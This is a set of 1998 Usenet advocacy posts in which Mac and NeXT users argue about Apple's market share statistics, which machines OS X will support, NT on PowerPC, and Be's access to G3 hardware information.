References: <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <35b6568f.0@news.depaul.edu> <mcox-ya02408000R2307981829100001@newsource.ihug.co.nz> <not-2307981027360001@ip-26-096.phx.primenet.com> <Pine.SOL.3.96.980723133426.10555A-100000@ux9.cso.uiuc.edu> <not-2307981300150001@ip-167-019.phx.primenet.com> <Pine.SOL.3.96.980723150745.6484A-100000@ux9.cso.uiuc.edu> <not-2407981240410001@ip-26-162.phx.primenet.com>
NNTP-Posting-Date: 25 Jul 1998 02:07:07 GMT
In article <not-2407981240410001@ip-26-162.phx.primenet.com>,
not@a.valid.email.add (Michael M. Eilers) wrote:
> I agree with all of the above. But I don't agree that this negative
> reaction is enough to really hurt Apple. For the majority of Mac users,
> 8.x and above and their 604e will be just fine. For a pool of power users,
> G3/G4 and OS X will be fine. No crisis. Look at how many Windows 3.1/95
> users there are in the world, utterly complacent. NT 5 is not aimed at
> them; OS X is not aimed at Performa/7.6.1 users.
If OS 8.x and above is "just fine" for the "majority of Mac users", then
why is it so important that Apple release OS X sooner than later when
releasing it sooner means it will not run on some very recent hardware?
Obviously Apple feels that OS X is important to many Mac users, thus they
are willing to remove support for recent systems in order to deliver it to
those users.
Josh
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sat, 25 Jul 1998 02:20:41 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35B98749.2272A209@nstar.net>
References: <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com> <35B19951.CFB0631F@cloud9.net> <joe.ragosta-1907980715010001@elk55.dol.net> <6otqmo$s04$3@hecate.umd.edu> <joe.ragosta-2007980638300001@elk43.dol.net> <6p51vm$k5l$1@hecate.umd.edu> <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net> <joe.ragosta-2307981259010001@wil73.dol.net> <6p85g8$g4q$1@news01.deltanet.com> <gmgraves-2407981223510001@sf-usr1-3-131.dialup.slip.net> <35B8E397.FEE5AE46@ericsson.com> <gmgraves-2407981728080001@sf-usr1-29-157.dialup.slip.net>
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NNTP-Posting-Date: 25 Jul 1998 07:30:44 GMT
George Graves wrote:
> Sorry, that won't work. Most people don't know who the 'owner' of
> Olive Garden is. When he goes to another restaurant to eat, the press
> doesn't write articles about it, people in the restaurant don't whisper
> to each other "Look, there's the owner of Olive Garden, he's not eating
> there tonight. That must mean that he doesn't like his own product."
> He is anonymous, for all practical purposes, and besides, a meal is a
> temporal thing. Changing computer standards isn't. Bad analogy.
Huh? How many of your neighbors know who the president of Motorola is?
> Again, bad analogy. The US Government does not MAKE airplanes or any part
> of an airplane. It buys them. It is US Government policy to buy American
> where feasible, but when its not, they will buy overseas.
Most Motorola groups do not make PowerPC chips, either.
> (usually, though
> its a stop-gap measure. They will try to find a US supplier to make the
> weapon under licence from the foreign supplier. Cases in point, The Harrier
> Jet is now made by McDonnell-Douglas, Martin built the English Electric B-57
> 'Canberra', and an American company builds the Berretta 9mm Army Pistol
> under licence.)
We still buy all of the foreign military goods we can get our hands on.
Those examples do not negate the Israeli, German, and British submachine
guns used in our special forces or the Russian (Russian!) tanks who
train on special bases in the States.
> Are you connected in any way with the Texas Brewer? No? Then what you
> drink is your business. We're not talking about jingoistic chauvinism
> here.
Jingoistic chauvinism?! That's a new one on me. My affiliation is with
the United States, as a citizen. Wasn't long ago that Honda sold the
number one car in America and Michael Crichton wrote a book called
"Rising Sun" proclaiming the evils of all things foreign.
Does this mean that it's different for employees to use non-employer
products? It's just the president's usage that matters? Ah, I see...does
it make a difference that Bill Clinton's daughter does not attend public
American schools?
> That's a question best answered by you. Your personal tastes have no
> bearing whatever on this discussion.
Except in demonstrating how silly this whole matter is. The joke passed
you by, I suppose.
> Well, if tyhe problem IS with MacOS, then going to Windows won't buy
> them anything because if the Mac OS is bad, Windows is worse.
Ah, case closed, I see.
> There
> is nothing about Windows which is as good as the Mac, its just better
> marketed.
Keep telling yourself that. I respect you and your love for the MacOS,
George, I really think it's noteworthy. Even so you can't allow yourself
to be closed in this way, not anymore. You spoke of jingoism...
MJP
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sat, 25 Jul 1998 02:22:45 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35B987C5.FA589658@nstar.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <slrn6rgr5c.39f.jason@jhste1.dyn.ml.org> <joe.ragosta-2407980808030001@wil49.dol.net> <35B88F92.F794FF48@nstar.net> <joe.ragosta-2407981108350001@wil63.dol.net> <35B8E0E1.7202D351@ericsson.com> <joe.ragosta-2407982234350001@elk55.dol.net>
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NNTP-Posting-Date: 25 Jul 1998 07:32:47 GMT
Joe Ragosta wrote:
> OS/2 _is_ still shipping, but not for PPC. And what's your point about AIX
> and HP/UX?
Ragosta dodges...
> You're wrong. NT 4.0 _was_ ported to PPC. MS just decided not to continue it.
No, Ragosta, you're wrong. Microsoft never ported NT to PPC.
> Which you still haven't provided a shred of evidence for.
Head. in. sand.
MJP
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sat, 25 Jul 1998 02:24:27 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35B9882B.E1AA3A0F@nstar.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <slrn6rgr5c.39f.jason@jhste1.dyn.ml.org> <joe.ragosta-2407980808030001@wil49.dol.net> <35B88F92.F794FF48@nstar.net> <joe.ragosta-2407981108350001@wil63.dol.net> <35B8E0E1.7202D351@ericsson.com> <6pblj8$q9a$1@bunyip.cc.uq.edu.au>
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NNTP-Posting-Date: 25 Jul 1998 07:34:29 GMT
Christopher Smith wrote:
> NT has had a PPC port since at *least* version 3.51.
Yes, written under source code license by Motorola. As I said, Microsoft
was never part of Joe's fictitious "bargain".
MJP
From: "Jim Coffey" <jlc@bocus.uchicago.org>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sat, 25 Jul 1998 03:36:20 -0400
Organization: Ivory Tower,Inc
Message-ID: <6pc1sr$jr3@bgtnsc02.worldnet.att.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <35B8D9F4.D6C93C1@ericsson.com> <joe.ragosta-2407981626250001@wil51.dol.net> <35B8F293.F58D0926@ericsson.com> <6pbia6$mbj@newsb.netnews.att.com>
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote in message
<6pbia6$mbj@newsb.netnews.att.com>...
>Michael Peck <Michael.Peck@ericsson.com> wrote:
>
>I haven't tried it, but doesn't PPC-Linux run on the G3s ?
>Since that is open-source code, I would imagine that what
>you need to know to run an OS on the G3 machines is in the
>public domain.
>
Nonetheless, Apple's refusal to provide Be with the information sure makes
it look like they will do whatever it takes to maintain their stranglehold
on OS's for the Macintosh based PPC platform.
Be *may* be wary of using Linux to reverse engineer the Mac, not because
Linux' implemntation has problems, but because they might run up against the
copy-left if they use similar code to Linux in BeOS.
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 24 Jul 1998 19:10:34 -0700
Message-ID: <see-below-2407981910340001@dynamic57.pm05.mv.best.com>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <jbg-2307981327420001@green.sdc.cs.boeing.com> <not-2307981605420001@ip-26-117.phx.primenet.com> <mazulauf-2407981023530001@grumpy.met.utah.edu> <not-2407981253090001@ip-26-162.phx.primenet.com>
In article <not-2407981253090001@ip-26-162.phx.primenet.com>,
not@a.valid.email.add (Michael M. Eilers) wrote:
> In article <mazulauf-2407981023530001@grumpy.met.utah.edu>,
> mazulauf@atmos.met.utah.edu (Mike Zulauf) wrote:
>
> > > Yes. Buy a 266 MHz G3, and you will be all set. That's been true since the
> > > beginning.
> >
> > Interesting. So you obviously don't agree with the faction of Mac
> > advocates who believe that it is foolish to make a hardware purchase based
> > on promises of upcoming OS's?
>
> No, I think that no hardware purchases *ever* should be made on the
> promise of an upcoming OS. You should just by the fastest machine you can
> afford, and then hope. That't the way it has always been on any platform.
Hmm. So if I bought a standard Pentium233MMX or Pentium Pro 200 last year
from a major name-brand manufacturer like IBM or HP or Dell, it won't run
Windows NT 5.0, or Windows 98? I really don't get your drift. I don't
think there's a lot of precedent for this kind of move.
> > How do you feel about the people who bought hardware expecting to run
> > Copland, Gershwin, etc.? How about somebody who bought a PowerBook 1400
> > (sold long after the "deadline"), expecting to run Rhapsody?
>
> Well, they were foolish. I had no such expectations when I bought my
> PowerCenter Pro 240 or my 7500. Then again, I'm not a typical user as I
> tend to upgrade about every 1 1/2 years.
However, Apple _told_ them what machines they needed to buy in order to
run Rhapsody...
> > For that matter, what about those who purchased PCI machines based on the
> > promise of Rhapsody? While they may still get Rhapsody/OS X Server, it
> > won't likely be the solution they desire, for the cost they desire (hint,
> > it's to be a "server" OS, probably for "server" cost).
>
> They were also foolish. The inital DR releases only ran on a small pool of
> hardware--anyone who could see that fact, and yet still bought something
> different with the idea it might run Rhapsody, was foolish.
Umm, we're talking about people who bought the machines _Apple told them
to buy_ to run Rhapsody (8500/8600/9500/9600).
> > But of course, all of that is in the past. Listen up folks, history
> > doesn't matter! It's now safe to take Apple at it's word!
>
> Frankly, I agree with the above statement. Apple today is a radically
> different company than it was a year ago, and utterly different from the
> Copland days.
Huh. No argument there. But by the indications of hardware support for OS
X it's kind of hard to tell if Apple's getting better or worse.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: Macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Not a troll, please explain
Date: Fri, 24 Jul 1998 19:48:52 -0700
Organization: EarthLink Network, Inc.
Message-ID: <Macghod-2407981948530001@sdn-ar-001casbarp206.dialsprint.net>
References: <Macghod-2407981154540001@sdn-ar-001casbarp005.dialsprint.net> <joe.ragosta-2407981620390001@wil51.dol.net>
In article <joe.ragosta-2407981620390001@wil51.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <Macghod-2407981154540001@sdn-ar-001casbarp005.dialsprint.net>,
> Macghod@concentric.net (Steve Sullivan) wrote:
>
> > Ok, this is not anti Apple or a troll, so could someone explain this...
> > From what I have heard, worldwide computer sales have been RISING. Thus,
>
> You heard wrong. Or, at least, you're extrapolating a long term trend into
> a short term time period.
>
> For the 2nd quarter, IBM, Compaq, and GW2K (at least) had significant
> declines from the previous period.
And how does that show I am wrong? That is totally compatible with a
increase of personal computers rising. Maybe I did hear wrong, but what
you say in no way refutes it, and you are a smart enough person TO KNOW
DAMNED WELL IT DOESNT REFUTE IT.
> > to keep THE SAME market share as a previous quarter, if the number of
> > computer sale doubles, you have to sell DOUBLE the ammount of computers to
> > keep THE SAME marketshare.
> > 1) the worldwide computer market has steadily increased over the last year.
> > 2) apple has sold LESS computers than the same quarter last year
>
> And the same as the previous quarter.
Oh please, we can go back to dejanews and find some article from you
flaming someone for using sequential quarter to quarter instead of same
yearly quarter.
Your agenda is clear, and instead of striving for the TRUTH you strive to
make apple look good, even if it means your being inconsistent.
> > 3) the same quarter last year apple's market share was what, %5, %6
worldwide?
> > 4) total computer sales have increased since then
> > :. Apple's market share is less than %5, or %6, or what it was q3 of
> last year
> > :.Apple's market share IS NOT %9
>
> READ THE DAMN STORIES.
>
> PLEASE.
I couldnt read the stories!! Macosrumors had a link, I went to it, and it
required you enter your userid and password.
> The 9% figure is _retail_ market share. The other figures you're pulling
> out of your hat are total market shares.
>
> >
> > Yet, from macosrumors, as well as other sites:
> >
> > Apple market share up to 9.4%!
>
> Not from Mac OS Rumors. From PC Data.
It damn too was from Macos rumors!! I quoted exactly what macosrumors
said, copy and paste. Macosrumors also had a link to pc data, but pc data
requires you to be a member, I assumed you have to pay some ammount.
> > According to a recent report from PC Data, Apple's market share has
> > risen from 4% earlier this year to 9.4% in June!
>
> Wrong. PC Data never quoted the 4% figure. According to PC Data, Apple's
> _retail_ share was 7% last November and has risen steadily since then.
Well then the writters of macosrumors are pro apple FUDing liars. I
quoted what they said, and they said that it more than doubled.
> > Note: Market share is not the same thing as the installed user
> > base. Apple has a much larger share of the installed user base than it
> > does current
> > market share -- which is a measurement of how many computers are
> > being sold right now under the Apple name as compared to the total number
> > of computers being sold period.
>
> And none of this has to do with installed base. It's a matter of not
> mixing share figures from different markets or from different time
> periods.
I never said it did. On numerous occasions I have explained to people the
difference, and I am sure you have seen such posts. I have also told of
the pitfalls of QUANTIFYING installed base: it isnt possible. You can
take the total number of machines sold, and try to guess how many are
still being used, but that is only a guess. The total number installed
base is probably between %15 and %25.
ANd not only do you not know how many macs have been tossed in the
garbage, put in a storeroom marked "trashed computers", or made into mac
aquariams, but you AlSO dont know how many of your competitiors machines
have been trashed. How many amigas are still in use? You need to know to
get a figure of the installed base figures, percentagewise at least. If
you have 20 million macs in use, how many amigas their are in use doesnt
affect that figure, but if you claim that macs have %25 of the installed
base, and it turns out you were only counting pc versus mac, then your
figures are way off base if it turns out their are 10 million amiga's out
their, and 10 million apple 2's.
--
Joe [Ragosta], do not look directly at the RDF. What you want
to do is punch a hole in a piece of cardboard and
make a pin-hole camera to observe the RDF from a safe distance.
- Sal Denaro
From: Macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Fri, 24 Jul 1998 19:57:22 -0700
Organization: EarthLink Network, Inc.
Message-ID: <Macghod-2407981957230001@sdn-ar-001casbarp206.dialsprint.net>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <35b554b1.0@news.depaul.edu>
In article <35b554b1.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
> > > Indeed. Now ask yourself why Apple isn't exploring these things?
>
> > How do you know they aren't?
>
> I know why. Doing major work on the interface right now would
> be like polishing the brass on a sinking ship. They have far,
> far more important things to worry about right now. Primarily,
> fixing all the *important* things that were left to rot, and
> making sure the OSes run as well as possible.
Wooo Hooo!! Spoken like a true Next User, ie someone who knows what a
GOOD os is like!
--
Joe [Ragosta], do not look directly at the RDF. What you want
to do is punch a hole in a piece of cardboard and
make a pin-hole camera to observe the RDF from a safe distance.
- Sal Denaro
From: Macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Not a troll, please explain
Date: Fri, 24 Jul 1998 19:49:01 -0700
Organization: EarthLink Network, Inc.
Message-ID: <Macghod-2407981949020001@sdn-ar-001casbarp206.dialsprint.net>
References: <Macghod-2407981154540001@sdn-ar-001casbarp005.dialsprint.net> <Pine.SOL.3.96.980724162806.5179A-100000@ux8.cso.uiuc.edu>
In article <Pine.SOL.3.96.980724162806.5179A-100000@ux8.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> On Fri, 24 Jul 1998, Steve Sullivan wrote:
>
> > Ok, this is not anti Apple or a troll, so could someone explain this...
> > From what I have heard, worldwide computer sales have been RISING.
>
> What you heard was retail sales of computers which is not worldwide sales
> from all places.
Well marketshare means worldwide, unless you clarify it to US. Whoever is
slinging those numbers should be ashamed of themselves. What is Apple's
worldwide marketshare? It sure as hell isnt %9.4. And that link that
said it rose from 4.1 to 9.4, excuse me, but I am preety sure the
worldwide marketshare climbed up to 4.1, I doubt the us marketshare has
more than doubled.
Whoever wrote the article is dumb assed idiot, IMO.
> > Thus,
> > to keep THE SAME market share as a previous quarter, if the number of
> > computer sale doubles, you have to sell DOUBLE the ammount of computers to
> > keep THE SAME marketshare.
> > 1) the worldwide computer market has steadily increased over the last year.
>
> Yes.
>
> > 2) apple has sold LESS computers than the same quarter last year
>
> A little less (644,000 as opposed to 650,000).
SOmeone, I believe Dennis Di{some long assed hard to spell italian name}
posted the figures, and last year q3 was not 650k, it was 698k (rounded up
= 700k)
> > 3) the same quarter last year apple's market share was what, %5, %6
worldwide?
>
> Could be.
>
> > 4) total computer sales have increased since then
>
> Yes.
>
> > :. Apple's market share is less than %5, or %6, or what it was q3 of
last year
>
> Worldwide? Yes.
>
> > :.Apple's market share IS NOT %9
>
> Worldwide? Yes.
>
> > Yet, from macosrumors, as well as other sites:
> >
> > Apple market share up to 9.4%!
> >
> > According to a recent report from PC Data, Apple's market share has
> > risen from 4% earlier this year to 9.4% in June!
>
> This is US retail sales. While the size of the overall Mac market hasn't
> increased (but decreased by a bit from last quarter), the sales to
> specific channels have increased. One such area is retail.
>
> Note that to get an increase in this area with no increase in overall
> sales, means sales in other areas much have declined.
>
> Ryan Tokarek
> <tokarek@uiuc.edu>
> <http://www.ews.uiuc.edu/~tokarek>
--
Joe [Ragosta], do not look directly at the RDF. What you want
to do is punch a hole in a piece of cardboard and
make a pin-hole camera to observe the RDF from a safe distance.
- Sal Denaro
From: boehring@biomed.ruhr-uni-bochum.de (Daniel Boehringer)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep Enterprise Deployment License - Outrageous
Date: 25 Jul 1998 07:16:37 GMT
Organization: Ruhr-Universitaet Bochum, Rechenzentrum
Message-ID: <6pc0ol$rtd$1@sun579.rz.ruhr-uni-bochum.de>
References: <35B7734D.DDDCC862@alum.mit.edu> <35b77df2.0@news.depaul.edu> <35B780CB.4BC40804@alum.mit.edu>
NNTP-Posting-Date: 25 Jul 1998 07:16:37 GMT
Eric Hermanson <eric@alum.mit.edu> wrote:
>Jonathan W Hendry wrote:
>
>> You're assuming, erroneously, that the entire license fee is due
>> to EOF. There's no reason to assume this is the case. The reason
>> for only shipping the two together probably has more to do with
>> they way its used. OpenStep customers want EOF, so it'd be silly
>> to require two different SKU's.
>
>OpenStep customers that want to ship end-user, mass-market applications built
>with AppKit probably don't want EOF. That was my basic point.
simply wrong! have a look at the EOInterface framework. it obsoletes 90% of ui-
interaction code in mass-market applications (e.g. binds ui-control contents to
dicionaries/ defaults database et al.). the only reason EOInterface is not used more was
a political (high cost) one.
daniel
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Sat, 25 Jul 1998 02:10:07 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35B984CF.936A1763@nstar.net>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <1dco1vu.1tcsxcs13uk71oN@hoorn23.multiweb.net> <Pine.SOL.3.96.980724134947.26891A-100000@ux8.cso.uiuc.edu> <6pb7pl$9gv$1@plo.sierra.com>
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NNTP-Posting-Date: 25 Jul 1998 07:20:09 GMT
Earl Malmrose wrote:
>
> Pulsar wrote in message ...
> >
> >No undo in the Finder except for file renaming. (This is a big one I
> >think.)
>
> How do you undo a file renaming in the Finder?
Ctrl-Z.
MJP
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sat, 25 Jul 1998 02:13:37 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35B985A1.FA89B74@nstar.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <Pine.NXT.3.96.980724125137.20132J-100000@pathos> <35B8D9F4.D6C93C1@ericsson.com> <joe.ragosta-2407981626250001@wil51.dol.net> <35B8F293.F58D0926@ericsson.com> <slrn6ri2rs.gl.jason@jhste1.dyn.ml.org>
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NNTP-Posting-Date: 25 Jul 1998 07:23:41 GMT
Jason S. wrote:
> And Be Inc. is a bunch of whiners. Much of the hardware (perhaps
> all?) on the Gossamer board is documented elsewhere - witness the
> success of the Linux/PowerPC group in getting Linux to run on the
> G3 (I think they even came up with fixes for Apple's broken OF,
> IIRC).
And Apple is thus a bunch of whiners. Witness the success of the Linux
group in getting Linux to run *everywhere*.
MJP
Date: Sat, 25 Jul 1998 07:09:36 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Not a troll, please explain
Message-ID: <joe.ragosta-2507980709370001@elk43.dol.net>
References: <Macghod-2407981154540001@sdn-ar-001casbarp005.dialsprint.net> <joe.ragosta-2407981620390001@wil51.dol.net> <Macghod-2407981948530001@sdn-ar-001casbarp206.dialsprint.net>
In article <Macghod-2407981948530001@sdn-ar-001casbarp206.dialsprint.net>,
Macghod@concentric.net (Steve Sullivan) wrote:
> In article <joe.ragosta-2407981620390001@wil51.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > In article <Macghod-2407981154540001@sdn-ar-001casbarp005.dialsprint.net>,
> > Macghod@concentric.net (Steve Sullivan) wrote:
> >
> > > Ok, this is not anti Apple or a troll, so could someone explain this...
> > > From what I have heard, worldwide computer sales have been RISING. Thus,
> >
> > You heard wrong. Or, at least, you're extrapolating a long term trend into
> > a short term time period.
> >
> > For the 2nd quarter, IBM, Compaq, and GW2K (at least) had significant
> > declines from the previous period.
>
>
> And how does that show I am wrong? That is totally compatible with a
> increase of personal computers rising. Maybe I did hear wrong, but what
> you say in no way refutes it, and you are a smart enough person TO KNOW
> DAMNED WELL IT DOESNT REFUTE IT.
Of course it doesn't refute it. Those were _examples_.
I'm glad you're finally getting the concept of evidence. Let's see what we
have so far:
I've provided specific reports that Apple's market share is increasing in
retail, education, and overall.
I've provided examples that say that several of the largest PC vendors'
sales have been declining.
YOU have only provided an unsupported assertion that Apple's market share
must be declining because total PC sales increased last quarter.
When you have some evidence to back up your position, feel free to provide it.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: tjlegg@tiac.net (Dr. Hair)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Sat, 25 Jul 1998 07:19:42 -0400
Organization: The Eleven
Message-ID: <tjlegg-2507980719420001@207.244.92.49>
References: <slrn6qqgad.vos.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6ojqpt$u6p$1@samsara0.mindspring.com> <slrn6qs9l9.860.sal@panix3.panix.com> <35AE2C81.AB098FF4@ericsson.com> <dHrr1.4009$24.23232568@news.itd.umich.edu> <35AE4D48.B45E4579@ericsson.com> <Jeur1.4033$24.23345884@news.itd.umich.edu> <35AE772F.B35DEA51@ericsson.com> <slrn6qt8uh.7n9.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35AEF495.EEEF2844@nstar.net> <slrn6r6m6e.9fc.sal@panix3.panix.com> <35B42512.B4309896@nstar.net> <35b437a1.0@news.depaul.edu> <6p2hpj$rcg$1@nnrp1.dejanews.com>
In article <6p2hpj$rcg$1@nnrp1.dejanews.com>,
samueljackson@my-dejanews.com wrote:
>In article <35b437a1.0@news.depaul.edu>,
> Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
>> Michael Peck <mjpeck@nstar.net> wrote:
<plonk>
>> where money and greed have no place,
>
>It is precisely financial self-interest that ensures the proper working of the
>free market.
Self-interest only works when the free dissemination of information occurs.
One of the rationale for the inflationary theory of the universe is that
there simply hasn't been enough time for simple information like the laws
of physics to have been communicated to all points of the universe if
communication is limited to the speed of light.
Corporations rely upon the fact that bad information about their products
does not become disseminated and that if it does, it can be discredited or
taken to court and invalidated in the court of public opinion regardless
of the court outcome.
>"Conceal information". This is great stuff; I took college courses on how to
>speak in loaded terms, but I never got this good before I gave up on the
>whole thing as fundamentally dishonest. For instance, suppose you were to ask
>me what I feed my children. To characterize my refusal to answer as
>"concealing information" might communicate the wrong message to the wrong
>sort of people. If you were sufficiently ambiguous and suggestive, you might
>even be able to get CPS to show up on my doorstep. I'm sure you could be
>quite proud of having served the public thusly.
"Loaded terms" Is that where terms have saddled up to the bar one too many
times?
People and institutions have "missions" regardless of whether they have
mission statements. People and institutions act in their own best
interests (on some points you sound like you follow Ayn Rand on others you
sound like you believe Gates' PR hired guns), and their best interests
generally do not include full disclosure.
A meat packing companies mission is to pack meat and sell it.
You will not buy meat that is known to cause disease. "food poisoning for
example"
You will buy meat that is not known (!known) to cause disease.
It is in the meat packing companies best interest to ensure that you do
not know that the meat you are about to buy is diseased. (if they do not
know, they will buy it.)
Go read some history and some early 20th century muckracking Mr. Peck
before you comment on corporate America.
I'm just fearing my America has been dumbed down to the point that the
history of corporate America and the rationale for governmental regulation
has been lied out of existence by Svengalis like Limbaugh and Gingrich.
--
Tom Legg
tjlegg@shore.net
http://www.shore.net/~tjlegg/
From: teadams@*NOT*tea.mv.com (Tim Adams)
Newsgroups: comp.sys.ibm.pc.hardware.chips,comp.sys.intel,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Intel and copper interconnects.
Date: Sat, 25 Jul 1998 07:54:52 -0400
Organization: TEA Design
Message-ID: <teadams-2507980754530001@bnh-5-40.mv.com>
References: <6p83dq$os2$1@hecate.umd.edu> <charles.bouldin-2307981717280001@h196132.nist.gov> <6p8bai$e5d$1@hecate.umd.edu> <joe.ragosta-2407980816370001@wil49.dol.net> <35b88a2c.1279540@news.dgii.com> <joe.ragosta-2407980940360001@wil46.dol.net> <35b8b6c0.86255362@nntp.stanford.edu> <joe.ragosta-2407981622380001@wil51.dol.net> <6pbbud$1ta$1@samsara0.mindspring.com> <charles.bouldin-2407982141130001@chuckb.mnsinc.com> <Macghod-2407982328100001@sdn-ar-001casbarp295.dialsprint.net>
In article <Macghod-2407982328100001@sdn-ar-001casbarp295.dialsprint.net>,
Macghod@concentric.net (Steve Sullivan) wrote:
> In article <charles.bouldin-2407982141130001@chuckb.mnsinc.com>,
> charles.bouldin@nist.gov (Charles Bouldin) wrote:
>
> > I said the graveyard thing. And, you should go to any web news source and
> > read that Apple's market share is now 9.4%, up from a low of 4%. Apple has
> > had 3 consecutive profitable quarters and made more money per share than
> > Compaq, even if you discount Compaq's huge loss from the acquisition of
> > Digital. Apple stock has TRIPLED in price in six months.
> >
> > Perhaps you need a new crystal ball, the present one seems a bit murky.
>
>
> Ummm, sorry, but that is total bullcrap. "apple's market share": what
> does that mean? If someone says "market share" and does not qualify it,
> what does it mean? Does it mean "marketshare of people buying apple
> computers named Steve on their bday who live in outer mongolia"? No.
> Does it mean "marketshare of of people whose parents are two lesbian
> sisters who were impregnated in a jacuzzi"?
> No. Does it mean "only counting retail sales, and only in the city of
> Strawberry California"? No. It means TOTAL number of computers sold in
> whole world, no restriction as to if its locale or market.
>
> This 9.4 figure was only for the US and only for retail. So the people
> who reported it were on crack. Btw, the report, from what I read, didnt
> list Dell. Is that because from one report I saw, this was only of retail
> stores like comp usa etc, and dell doesnt sell from them? And if so, did
> they include apples sales from the apple store?
